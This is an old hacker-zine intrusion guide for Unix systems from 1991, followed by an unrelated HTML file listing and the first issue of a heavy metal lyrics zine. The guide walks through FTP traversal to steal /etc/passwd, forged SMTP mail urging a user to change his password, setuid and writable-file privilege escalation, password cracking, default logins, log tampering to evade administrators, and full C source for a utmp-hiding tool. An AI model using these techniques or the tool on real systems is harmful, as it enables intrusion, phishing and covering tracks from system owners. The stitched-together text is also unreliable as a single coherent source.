Some systems running anonymous ftp and are not correctly setup might
allow any user to move above their restricted (root) directory, and
then access all files on the system.
#ftp remotesite
Connected to remotesite.
220 remotesite FTP server (Version 5.59 Mon Oct 29 15:33:08 EET 1990) ready.
Name (remotesite:root): anonymous <- Login as anonymous
331 Guest login ok, send your login name as password.
Password: <- Anything is ok
230- Guest login ok, access restrictions apply.
ftp> cdup <- The magic one!
250 CWD command successful.
ftp> get /etc/passwd /dev/tty <- Retreive /etc/passwd
200 PORT command successful.
150 Opening ASCII mode data connection for passwd (56 bytes).
root:sEQ5aTPgP4bSc:0:0:Super-User:/:/bin/sh
+::0:0:::
226 Transfer complete.
local: /dev/tty remote: passwd
56 bytes received in 7e-06 seconds (1.1e+04 Kbytes/s)
ftp> quit
221 Goodbye.
#
- sendmail -
The Internet Worm exploited a debug mode in the original sendmail to
coax sendmail into creating and executing a program that copied the
rest of the Internet worm over to the target host.
Note: Almost every system have been patched against this.
#telnet remotesite 25
Escape character is '^]'.
220 s350. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
debug <- Try debug command
200 Debug set
quit
Connection closed by foreign host
#
- smtp -
By connection to the smtp daemon on the remote site, you are able to send
mail under any user identity, to any user on any system.
If we want to try to fool a user on a system to change his password,
(not likely he will be fooled), but we can easily do this,
i.e. We want to send mail from root@tycho.ncsc.mil to john@gnu.mit.edu
#telnet tycho.ncsc.mil 25
Connected to tycho.ncsc.mil.
Escape character is '^]'.
220 tycho.ncsc.mil. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01
rcpt to: john@gnu.mit.edu <- Receiving user
250 john... Recipient ok
mail from: root@tycho.ncsc.mil <- Fake user
250 example... Sender ok
data <- Instruct SMTP to receive data
354 Enter mail, end with "." on a line by itself
We are testing new equipment and you are instructed to change your password
to john as soon as you receive this message.
root@tycho.ncsc.mil
. <- End mail
250 Mail accepted
quit <- Now disconnect from system
Connection closed.
#
-------------------
- Raise you privs -
-------------------
Many users talk about getting root access... It's nice but not necessary
to have. The Internet worm didn't exploit root privs if it had it and
it managed to hit many remote sites anyway.
If you need root or not depends on what you want to do with the system.
- System files -
Check out if you have read/write access to the following files:
#ls -l /dev/mem
crwxrw-rw- root /dev/mem <- General physical memory
#strings - /dev/mem <- Use this to get strings
from memory to use
#ls -l /dev/kmem
crwxrw-rw- root /dev/kmem <- Kernal memory
Kernal memory contains among other things.. psid table - Process ID table.
I will not support any C program allowing changes to pid's in kernal memory
since if someone doesn't know how to use it, then the whole system will
crash! and we don't support that kind of action.
#ls -l /etc/inittab <- Sys V startup file
#ls -l /etc/rc* <- BSD startup file
-rw-rw-rw- root /etc/inittab
-rw-rw-rw- root /etc/rc <- Standard unix commands
-rw-rw-rw- root /etc/rc.host <- running with root privs
-rw-rw-rw- root /etc/rc.local <- #ex /etc/rc
#ls -l /etc/inetd.conf <- Sys V demon configuration file
#ls -l /usr/etc/inetd.conf <- BSD demon configuration file
-rw-rw-rw- root /etc/inetd.conf <- After editing use #kill -1 initd
-rw-rw-rw- root /usr/etc/inetd.conf <- After editing use #kill -1 initd
#ls -l /etc/utmp <- Contains only who information
-rw-rw-rw- root /etc/utmp <- Used to hide your session
or to change your usernamne
Check out the included source
(hide.c) that does this.
You can even read other users mail.
#ls -l /usr/spool/cron/crontabs <- Sys V cron shell scripts
#ls -l /usr/spool/cron <- Older unix systems
-rw-rw-rw- root /usr/spool/cron/crontabs
-rw-rw-rw- root /etc/spool/cron
Check also local written system scripts that runs as root and other
important system files.
- System directorys -
Check to see if you have write privs to any important system directory.
i.e.
/etc
/bin
/usr/etc
/usr/bin
/usr/lib
...
To find writeable directories use:
#find / -type d -perm -2 -print
If you have write priv's to a directory but not to a file in the directory
you can still copy the file over to another directory, modify it and
copy it back.
#cp /home/admin/.rhosts /home/mydir/newrhosts
#ex /home/mydir/newrhosts
#rm /home/admin/.rhosts
#mv /home/mydir/newrhosts /home/admin/.rhosts
or
#cat /bin/sh > /home/admin/shell
To find writeable files use:
#find / -type f -perm -2 -file {} ";"
Try modifying startup files for users,
i.e.
.login
.cshrc
.profile
...
Note: The System Administrators might check to see if these files have
been changed and then they check them to see if there was a backdoor
installed or not.
- UID files -
I neat way of gaining better access is to search for files that
have the UID bit set and then if they are writeable, copy /bin/sh over
to the file to gain the privileges of the owner of the file.
#find / -perm -4000 -exec /bin/ls -lad {} ";"
- mbox -
Reading other peoples mailboxs might give you a clue to their password.
They might even have posted it to a friend on the system.
Note: Reading other peoples electronic mail is a serious crime.
#find / -name mbox -exec /bin/cat {} ";"
- fingerd -
The Internet worm exploitet a bug in the old fingerd program. The program
used an obsolete C function called gets(). gets() copies input into
a string, but doesn't count the number of characters copied. The old
fingerd declaired a 512-byte buffer as an automatic variable, which placed
this buffer on the stack. The Internet worm sent down 536 characters,
overflowing the buffer, adding some code, and modified the return address,
so that fingerd executed a Bourne shell instead of returning. This flaw
was used only for VAX running BSD unix.
VAX assembly-language code used:
nop 400 nop's
...
pushl $68732f store '/sh[null]' on stack
pushl $6e69622f store '/bin' on stack
movl sp,r10 save stack pointer in r10
pushl $0 store 0 on stack (arg 3)
pushl $0 store 0 on stack (arg 2)
pushl r10 store string adress on stack (arg 1)
pushl $3 store argument count on stack
movl sp,ap set argument pointer to stack
chmk $3b system call to execve
-----------------------
- Brute force hacking -
------------------------
You can allways get a copy of /etc/passwd and then run it with a
unix matcher guessing passwords. There are many programs around,
so I think I'm wasting my time if I include one. This is the standard way
of getting other accounts.. but it's hard to match root account password.
If you wan't root access you have to use some other technique,
but if you are satisfied with some user accounts, this is the best way.
Be adviced that many new systems have passwords from 6-8 characters with
a minimum of one non-alphabetical character, or they are running C2
standard with shadow /etc/passwd, i.e. you can only see account names
in /etc/passwd and not the encrypted password, i.e.
#cat /etc/passwd <- Featuring C2 standard
root:*:0:0:Super-User:/:/bin/sh <- You can see that they
guest:*:3169:30:Guest User:/home/guest:/bin/rsh <- Have shadowing passwd
+::0:0::: file since the password
field contains '*'.
You can always try to get accounts without password:
#grep :: /etc/passwd
Note: Many system administrators will have their eyes open for users who
use A LOT of cpu time... so I suggest that you get yourself a password
cracker for your own computer at home, and run your matching sessions
there, even if it's slower.
----------
- Hiding -
----------
Since hacking is illegal you might want to hide from the System Manager
at the site you are attacking. Please note that they often pay special
attention to users using a big per cent of the cpu time (like when matching
passwords). Also try to keep the number of files in your directory low,
or atleast try to only store smaller files, anything to not draw
attention to you.
Change users frequently so if the system managers notice you they hopefully
do not get any evidence against you.
Check system files to see if they have been patch audit your access to them.
- /etc/utmp -
If you have write permissions to /etc/utmp you can easily remove
yourself to show up on "who" listings, or even change your username.
Check out the included C source for this, Hide.c.
You can also read other users mail if you can alter /etc/utmp.
- getty -
Try running /etc/getty or /usr/etc/getty and login again.
With this way you will hide from where you are calling from, i.e. your host
address won't show up on "who" listnings.
- running programs -
If you use any program that you shouldn't i.e. running passsword
matching programs, then I suggest that you first rename the program to some
appropiate, i.e.
#mv matcher emacs
#mv passwd user
#mv password magazine
Then use the program:
#emacs user magazine
Or you simply change your source code to always use one file as the passwd
file and another one for the dictionary.
- /usr/spool/mail/ -
There are times when you should edit users mail. If you are editing a file
and then kill the process, it will post mail to your user stating that
the process was aborted and that you can recover your file with a command.
If the real user sees this, he might talk to the system administrators
about it, and then they will start to investigate the account without
your knowledge, and some day.... shit happends!
- /etc/wtmp -
If you have root access you might want to remove your trails from the
system log file, /etc/wtmp, so they won't notice that you are fooling
around with their system.
----------
- Modems -
----------
Many people hack just to lower their phonebills. Many unix systems has
outgoing modem lines. You can use them if you have the right privileges.
Try using the command cu - Call Unix:
#cu 3143818460 <- Yeah! This number works...
---------------------
- Standard accounts -
---------------------
There are many standard accounts you can try hacking and some common too.
Even if the system administrators are more aware of these holes, they still
exists, and may be worth trying. Use the included list of standard and
successful accounts.
Login: Password: Login: Password:
adm adm admin admin
altos altos batch batch
bin bin daemon daemon
date date demo demo
field service games games
general general guest guest
help help ingres ingres
learn learn lp lp
lpadmin lpadmin nuucp nuucp
pub pub public public
rje rje root root
standard standard student student
sync sync sys sys
sysadm sysadm test test
time time tty tty
unix unix user user
uucp uucp uuhost uuhost
who who
-------------------
- Finding targets -
-------------------
This is the hard part if you don't know so much about Internet.
I will not go further into this, because if everyone starts to use
the techniques I have, it will be abused and then we might not have many
systems that will be reachable through Internet. And we don't want
that to happen, so you have to figure this out for yourself. If this
sounds a bit on the selfish side, I truely regret it, but its for your
own good.
---------------------
- Crashing a system -
---------------------
If you do crash a system on purpose, I hope you get caught and that
you have to rot in prison for a long long time...
Even if you stumble in on a root account and think that they are
lamers who are in charge of the system, you NEVER trash the system
on purpose!
Never crash a system on purpose!
Never delete files that you haven't created!
Never remove personal mail to people on the system!
-----------------------
- Voice of the Author -
-----------------------
I have been working with this for some time now. Even if I don't really
feel that this is complete, I have desided to release it as it is,
(then I can write a follow up to this... <grin>), and hopefully you
will enjoy it anyway.
I will release some Internet/Unix hacking utilities in the near future,
including backdoors and other nice programs you might need.
If you need to contact me or S.H.A. you can send mail to me on the
following networks:
FidoNet : 2:201/610 username mrbig
Internet : mrbig@DARKSIDE.COM
#############################################################################
SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE
#############################################################################
--------
- Hide -
--------
Speacial thanx to Nimh of Stealth Hackers who wrote this program and for
letting me include it in this release. Thanx!
Hide will let you remove yourself from /etc/utmp or change the information
for you in /etc/utmp, i.e. username, host address or tty.
Note: /etc/utmp must be writeable by world.
<----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
#include <stdio.h>
#include <stdlib.h>
#include <utmp.h>
#include <pwd.h>
#define UTMPFILE "/etc/utmp"
FILE *utmpfile;
char *utmp_tmp[10240];
main (argc, argv)
int argc;
char *argv[];
{
struct utmp *user_slot;
struct passwd *pwd;
char line[10], name[10], host[20];
int index;
printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n");
utmpfile = fopen (UTMPFILE, "r+");
if (utmpfile == NULL)
{
printf ("ERROR while opening utmp file... exiting...\n");
exit ();
}
index = ttyslot(); /* Get this users utmp index */
index *= sizeof(struct utmp); /* 36 */
fseek(utmpfile, index, 0);
/**** Get real UID ****/
pwd = getpwuid (getuid());
if (pwd == NULL)
printf ("Who the hell are you???");
else
{
printf ("Real user identity:\n");
printf ("NAME %s\n", pwd->pw_name);
printf (" UID %d\n", pwd->pw_uid);
printf (" GID %d\n\n", pwd->pw_gid);
}
/**** If ARG1 = "-i" then disappear from utmp ****/
if ( (argc>1) && (!strcmp(argv[1], "-i")) )
{
index+=8; /* Rel PNT name */
fseek(utmpfile, index, 0);
fwrite ("\000", 8, 1, utmpfile); /* NO NAME */
fwrite ("\000", 8, 1, utmpfile); /* NO HOST */
fclose(utmpfile);
printf ("Removed from utmp\n");
exit();
}
/**** Change utmp data ****/
printf ("Enter new data or return for default:\n");
fseek(utmpfile, index, 0); /* Reset file PNT */
fread(line, 8, 1, utmpfile); line[8]=NULL;
fread(name, 8, 1, utmpfile); name[8]=NULL;
fread(host, 16, 1, utmpfile); host[16]=NULL;
fseek(utmpfile, index, 0); /* Reset file PNT */
dinput (" TTY [%s]%s", line, 8);
dinput ("NAME [%s]%s", name, 8);
dinput ("HOST [%s]%s", host, 16);
fclose(utmpfile);
}
/* Data input */
dinput (prompt, string, size)
char *prompt;
char *string;
int size;
{
char input[80];
char *stat;
char space[] = " ";
space[20-strlen(string)] = '\000';
printf (prompt, string, space);
stat = gets (input);
if (strlen(input) > 0)
fwrite (input, size, 1, utmpfile);
else
fseek (utmpfile, size, 1);
}
<----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE---->
==============================================================================
##############################################################################
## ####### ## ###### ## ## ## ## ###### ## ##
## ## ## ## #### ## ## ####### ## ## ## ## ##
## ## ## ## ###### ## ## ## ## ## #####
###### ####### ####### ## ## ## ####### ####### ## ##
##############################################################################
------------------------------------------------------------------------------
(L)egions (o) (L)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill
------------------------------------------------------------------------------
Call these LoL-Phuck support boards for information or application
inquiries:
UNITED STATES:
The Disconnected System 602/997+9918 Arizona NSA Dist Site
West Coast Technologies, Inc. 213/274+1333 California AfterShock Beta
The Magical Mystery Board 203/TMP+DOWN Connecticut THG Dist Site
Blitzkrieg BBS <Node 1> 502/499+8933 Kentucky TAP Magazine HQ
Blitzkrieg BBS <Node 2> 502/491+5198 Kentucky TAP Magazine HQ
Free Speech BBS 618/457+3365 Illinois PHRACK Classic HQ
Gonzo's Gabanza 513/890+0655 Ohio CHUD Dite Site
EUROPE/OUTSIDE CONTINENTAL NORTH AMERICA:
Interpol II +46-8-PR-IVAT Sweden SHA HQ
==============================================================================
Legions of Lucifer-Phuck High Office Staff Member
Prezident of [L.o.L] : Digitone Cypher
Prezident of [Phuck] : Tripin Face (aka Cobra Commander)
Out of US Representatives : Mr Big -=- Sweden
==============================================================================
Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck >
LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991 Complete
(C)Copr 1990,91 Cypher Productions - All rights reserved.
------------------------------------------------------------------------------
All text file submissions should go to:
West Coast Technologies, Inc. @ +1-213-274-1333
(Use the guest account; User Name: GUEST Password: GUEST)
------------------------------------------------------------------------------
______________________________________________________________________________
==============================================================================
==============================================================================
- Digitone Cypher (Main Editor/Layout/President)
==============================================================================
456835454/021491-0202
Downloaded From P-80 International Information Systems 304-744-2253 12yrs+

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<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-01">loud.lyrix-01</A><tab to=T><TD> 16211<BR><TD> Loud Lyrix Issue #1 (March 22, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-02">loud.lyrix-02</A><tab to=T><TD> 19413<BR><TD> Loud Lyrix Issue #2 (March 29, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-03">loud.lyrix-03</A><tab to=T><TD> 18834<BR><TD> Loud Lyrix Issue #3 (April 5, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-04">loud.lyrix-04</A><tab to=T><TD> 22572<BR><TD> Loud Lyrix Issue #4 (April 12, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-05">loud.lyrix-05</A><tab to=T><TD> 21923<BR><TD> Loud Lyrix Issue #5 (April 19, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-06">loud.lyrix-06</A><tab to=T><TD> 22359<BR><TD> Loud Lyrix Issue #6 (April 26, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-07">loud.lyrix-07</A><tab to=T><TD> 18973<BR><TD> Loud Lyrix Issue #7 (May 3, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-08">loud.lyrix-08</A><tab to=T><TD> 26836<BR><TD> Loud Lyrix Issue #8 (May 10, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-09">loud.lyrix-09</A><tab to=T><TD> 25512<BR><TD> Loud Lyrix Issue #9 (May 17, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-10">loud.lyrix-10</A><tab to=T><TD> 55749<BR><TD> Loud Lyrix Issue #10 (May 24, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-11">loud.lyrix-11</A><tab to=T><TD> 20549<BR><TD> Loud Lyrix Issue #11 (May 31, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-12">loud.lyrix-12</A><tab to=T><TD> 25184<BR><TD> Loud Lyrix Issue #12 (June 21, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-13">loud.lyrix-13</A><tab to=T><TD> 50061<BR><TD> Loud Lyrix Issue #13 (June 28, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-14">loud.lyrix-14</A><tab to=T><TD> 22705<BR><TD> Loud Lyrix Issue #14 (July 6, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-15">loud.lyrix-15</A><tab to=T><TD> 36238<BR><TD> Loud Lyrix Issue #15 (July 12, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-16">loud.lyrix-16</A><tab to=T><TD> 24836<BR><TD> Loud Lyrix Issue #16 (July 19, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix-18">loud.lyrix-18</A><tab to=T><TD> 28496<BR><TD> Loud Lyrix Issue #18 (August 2, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix.ad">loud.lyrix.ad</A><tab to=T><TD> 3853<BR><TD> Advertisement for Loud Lyrix Magazine
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix.faq">loud.lyrix.faq</A><tab to=T><TD> 7609<BR><TD> The Loud Lyrix FAQ (June 15, 1994)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="LOUDLYRIX/loud.lyrix.index">loud.lyrix.index</A><tab to=T><TD> 8813<BR><TD> Loud Lyrix Back Issue Index
</TABLE><P><TABLE WIDTH=100%><TR><TD ALIGN=RIGHT><SMALL>There are 22 files for a total of 476,726 bytes.</SMALL></TABLE>

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.-. .--. .-..-..---. .-. .-..-..---. .-..-..-.
: : : ,. :: :: :: . : : : : :: :: .; :: :: `' :
: : : :: :: :: :: :: : : : `. .': .': : ` '
: :__ : :; :: :; :: :; : : :__ .' ; : :.`.: :.' `.
:___.'`.__.'`.__.':___.' :___.':_,' :_;:_;:_;:_;:_;
Loud Lyrix, March 22, 1994, Issue # 1
Addresses
---------
Internet: lyrix@terranet.cts.com
UUCP: generic!zoo.toronto.edu!terranet!lyrix
ARPA: generic!terranet!lyrix@zoo.toronto.edu
FTP: None
Gopher: None
Usenet: None
Editor-in-Chief: Death Incarnate (Gino Filicetti)
Publisher: Death Incarnate (Gino Filicetti)
Distributor: Death Incarnate (Gino Filicetti)
Mailing Program: NONE! Everything is done by hand.
DISCLAIMER
----------
Loud Lyrix will not be held responsible for the accuracy of the
lyrics and/or the song titles and/or the album titles and/or the specific
preformers of the songs contained herein. All songs are property of the
bands that perform them and/or their record labels. The lyrics contained
herein cannot be used for any purpose other than "private study,
scholarship, or research." If anyone makes use of a reprinted song for
purposes in excess of "fair use," that user may be liable for copyright
infringement. Loud Lyrix will not be held responsible for any
misrepresentation of the performers of any songs or their respective
lyrics. We reserve the right to reprint inaccurate lyrics if the song's
lyrics were not readily available to the typist. And just remember that
this publication is just for sheer fun and pleasure of discovering the
lyrics to some songs, and we are not out to rip off any bands or put
different words in their mouths.
DESCRIPTION
-----------
Loud Lyrix is a weekly publication dedicated to the spread of heavy metal
lyrics throughout the world. Subscriptions are available at no cost
electronically. Five to Ten songs are published every Tuesday. Along with
the lyrics, a section of the zine is devoted to reactions of subscribers to
previously posted songs. All subscribers are urged to send in lyrics from
their own favorite bands for publication. All requests, submissions or
comments must be sent to the above address.
OUR PHILOSOPHY
--------------
We here at Loud Lyrix believe that the true meaning of a song can only make
itself known through the song's lyrics. It is for this reason that Loud
Lyrix exists, we are committed to delivering all the best lyrics of heavy
metal songs to Cyber-bangers around the globe. Long live metal!
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
Loud Lyrix, #1, 3/22/94
-----------------------
Ok everyone, here it is at long last.... the first issue of Loud Lyrix! I
hope everyone is as excited as I am about this new 'zine.... I hope we
have a long life ahead of us, and that all you subscribers out there are
happy with the 'zine.
Don't forget that we are always looking for new lyrics to put in the
'zine. If you have some song that you want to see in Loud Lyrix just type
it up, and send it over to me... I'll make sure that it get's into Loud
Lyrix as soon as possible, this 'zine can't survive without the help of
everyone... One other thing, the lyrics that we reprint in Loud Lyrix do
not have to be STRICTLY "Heavy Metal"... all forms of Hard Music are
welcome here, from Punk/Industrial to Grunge/Alternative to
Death/Grindcore. If you don't know whether a song is fit to be in the
'zine, just leave me a message, and I'll tell you if it's worth your time
typing it up.
And don't forget to spread the word on Loud Lyrix! We are just starting
out, so we need all the subscribers we can get... tell all your cyber-pals
about us, if you want an advertising file to post around just tell me, and
I'll send it up to you.
Okay, enough talking from me, it's time for some kewl lyrics... for this
week we have one reader submission, from Sean Warden
(swarde@unf6.cis.unf.edu), I hope some more people follow Sean's example.
CONTENTS
--------
Song 1: "Heavy Metal" by Judas Priest (good intro to our 'zine!)
Song 2: "Thunderkiss '65" by White Zombie
Song 3: "Walk" by Pantera
Song 4: "Expendable Youth" by Slayer
Song 5: "Hero" by Ministry
Song 6: "Slaughterama" by GWAR (contributed by Sean Warden)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
************************* H E A V Y M E T A L ***************************
by J U D A S P R I E S T
Album: "Ram It Down"
When the power chords come crashing down go tearing through my senses
It's for the strong, not for the weak
In the light and dark dimension
It stimulates, regenerates
It's therapeutic healing
It lifts our feet up off the ground
and blasts us through the ceiling
Between the eyes
I hear it screaming
And it electrifies
Your inner feelings
Hot shock waves charge the air
All heads are banging
Fists pumping everywhere
Guitars are cranking
Heavy Metal, Heavy Metal
What do you want
Heavy Metal, Heavy Metal
What do you want
Ten thousand lights come blazing down
With razor sharp precision
The speakers pour out molten steel
The beat gives double vision
An armour plated raging beast
That's born of steel and leather
It will survive against all odds
Stampeding on forever
Between the eyes
I hear it screaming
And it electrifies
Your inner feelings
Hot shock waves charge the air
All heads are banging
Fists pumping everywhere
Guitars are cranking
Heavy Metal, Heavy Metal
What do you want
Heavy Metal, Heavy Metal
What do you want
**************************** T H E E N D ********************************
Typed by: Lyrics Archive at ftp.uwp.edu
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************** T H U N D E R K I S S ' 6 5 **********************
by W H I T E Z O M B I E
Album: "La Sexorcisto: Devil Music Vol 1"
Well sweet little sista's high in hell cheat'n on a halo
Grind in a odyssey holocaust heart kick on tomorrow
Breakdown
Agony said "Ecstasy" in overdrive she come a riding on the world
Thunder kiss'n 1965
Yeah, wow! Five, yeah, wow!!
Demon-warp is coming alive in 1965
Five, five, yeah!
Livin' fast and dying young like a endless poetry
My motor-psycho nightmare freak out inside of me
My soul salvation liberation on the drive
The power of the blaster move me faster 1965
Yeah, wow! Five, yeah, wow!!
Demon-warp is coming alive in 1965
Five, five, yeah!
Gimme that, gimme that now, now, now, yeah!
Roll'n like a supersonic another fool that gets down on it
Pig sweat a million miles, I got a heart atomic style
I make it look easy, that's what I said
Blast of silence explodes in my head
Yeah, yeah, yeah, gimme that, gimme that now
Step to the moonshine frenzy hail: The Resurrection
What's new pussycat, can you dig the satisfaction
Well, you can't take it with you, but you can! In overdrive
Yeah! Some like it hot and twist'n, 1965
Yeah, wow! Five, yeah, wow!!
Demon-warp is coming alive in 1965
Five, five
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
****************************** W A L K ************************************
by P A N T E R A
Album: "Vulgar Display of Power"
Can't you see I'm easily bothered by persistance
One step from lashing out at you...
You want in to get under my skin, and call yourself a friend.
I've got more friends like you what do I do?
Pre:
Is there no standard anymore?
What it takes, who I am, where I've been, belong.
You can't be something you're not
Be yourself, by yourself, stay away from me.
A lesson learned in life, known from the dawn of time
Chorus:
Respect, Walk
Run your mouth when I'm not around, it's easy to achieve.
You cry to weak friends that sympathize.
Can you hear the violins playing your song?
Those same friends tell me your every word
(Pre)
(Chorus)
Are you talking to me?
No way punk.
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
********************* E X P E N A B L E Y O U T H ***********************
by S L A Y E R
Album: "Season's in the Abyss"
Gun down cold on a raw deal
Home turf, my battlefield
In no one's way, caught in a crossfire
Stray bullets can KILL !!
Chorus:
Expenable Youth
Fighting for possesion
Having control... a principle obsession
Rivalry and retribution
Death! The only solution!!
Injured soul lies on the ground
Head blown off... face down
Lying in a blood of blood
An accidental death, homocide!
Chorus
Struggling to survive
The drug induced warfare
To have control.. and principal obsession
Expenable youth... fighting for possesion
Violence is ONLY a friend
Expenable youth
Fight for possesion
To have control... a principal obsession
Rivalry and retribution
Death! The only solution!!!
*************************** T H E E N D *******************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
******************************* H E R O **********************************
by M I N I S T R Y
Album: "Psalm 69: The Way to Succeed, and the Way to Suck Eggs"
They get you ready to fight
The fuse is ready to blow
You shoot to kill on sight
They call you G.I. JOE
You never wanted to stop
The smell of burning flesh
The hero marches alone
Across the highway of death
It's not a matter of rights
It's just a matter of war
Don't have a reason to fight
They never had one before
You're just a killing machine
He's come to take you down
We take the gas that we need
And pump the blood on the ground
They're gonna set you up
So they can take you down
They're gonna suck you dry
They've left the blood to be found
They're gonna rip you apart
You're gonna burn at the stake
Cuz when it's time to collect
It's only heroes who pay
**************************** T H E E N D ********************************
Typed by: Death Incarnate
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*********************** S L A U G H T E R A M A ***************************
by G W A R
Album: "Scumdogs of the Universe"
With a battle-cry go forth
Which is "give the people what they want"
And what the people want could only be the senseless slaughter
of the gutter-slime which litters this nation for cash and prizes
Yes, this is the show where people bet their lives to win something big
'Cause when your life is shit, then you haven't got much to lose
On Slaughterama...
This next geek is guilty of the following:
A grateful dead life in which he's been wallowing
Tried to tell us, "Give peace a chance"
Met the National Guard and you shit in your pants
It's not your imagination, it's not a bad tripping
Yes, that's it: it's a big, smelly hippy
Hello Mr. Hippy, nice to meet ya'
Hey, you got a little shit between your toes
So, how are things at the ol' manure factory?
How's little Tofu?
What, she grew another head?
Well, ya gotta lay off that LSD, ya know
Kinda makes your offspring goofy looking
So, how do you hide money from a hippy?
Put it under the soap!
I'm sorry, but that answer wasn't in time
You're gonna have to put your mouth on this
Oh, I blew your head clean off
Good thing I was such an expert shot
With the National Guard back at Kent State
I bagged four that day
There's nothing like hippy hunting
My dad always used to take me along with Lee Harvey Oswald
All right, we're rockin' now!
World's highest hair, world's tightest pants
Got no circulation but you still can dance
Fashion is a statement, sometimes a risk
Every fashion had it's faults but yours is the pits
Always in black, looks like he's dead
Here's the Art Fag lying on his death beg
Hello, Mr. Art Fag, c'mon out here
Say, whatta hair do
Why it's awfully big
As big as the...the...the Hindenburg
And it'd probably go up just as fast if I put this lighter to it
But no, I'm gonna' hold out and ask you this question
What ever happened to Eddie Munster?
I'm lookin' at him!
Oh, Oderus, help the boy with his hairdo, there
Ooo! It's getting ripped off!
Ow! Ya' know that's gotta hurt!
What on the other side of his face?
Is that a facelift?
Whoa! He's torn that face clean off!
Aaaaaaaaaaaaaaaaa
Help that sod outta' here
Gave up pussy, stopped doing toot
Now ya' can't wait to kiss him on the boot
Elbows and knuckles all you know how
Follow the herd, just another cow
Brain full of shit, boots full of lead
Straight from Hitler's ass, it's the Nazi skin-head
Hello, Mr. Nazi Skin-head, how ya' doin'
How's Geraldo's nose? Still broken?
Well, it's good to see you're still on the job.
You know, when you're mugging talk-show commentators in bathrooms
Always remember to draw the swastikas turning to the right
Not to the left, always to the right.
Hey, why do Nazi skin-heads wear red suspenders anyways?
He doesn't have to tell you!
Time to give this Nazi skin-head one more haircut
Real close to the shoulders like
Whoa! His head's been decapitated
Look at all that P.S.I. in his aorta artery
Whoa! Is he a gusher or what?
A-ha-ha-ha-ha-ha-ha-ha-ha
Well everybody, that's all for this week
We've killed everybody that's worth killing
Hope you do the same
We'll be back next week with another edition of
Slaughterama, Slaughterama, Slaughterama
It's a drama
Slaughterama, Slaughterama, Slaughterama
It's a drama, yeah!
It's called existentialists, man
It's for the people who just don't care
Don't feel sorry for them
They've chosen their own path in life
**************************** T H E E N D ********************************
Typed by:
---------
Sean Warden | ___ ___
Future Electrical Engineer/Particle Physicist | | | / | "It's not a
University of North Florida | ( ) |< ( ) frat, it's an
Internet: swarde@unf6.cis.unf.edu | _|_ | \ _|_ honor society!"
----------------------------------------------|------------------------------
Apple IIgs & TransWarp forever | "Drive Offensively; the life
FSU: 1993 UNDISPUTED National Champions | you save may be your own."
-----------------------------------------------------------------------------
Finger my account for FSU Seminole stats and scores!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ok everyone, that's the end to the first issue of Loud Lyrix, we'll be
back next Tuesday, with Loud Lyrix #2.
Don't forget to send in your submissions for the next issue, and also,
send in any comments on the songs reprinted in this issue, if we have
enough, they'll be included in the next issue.
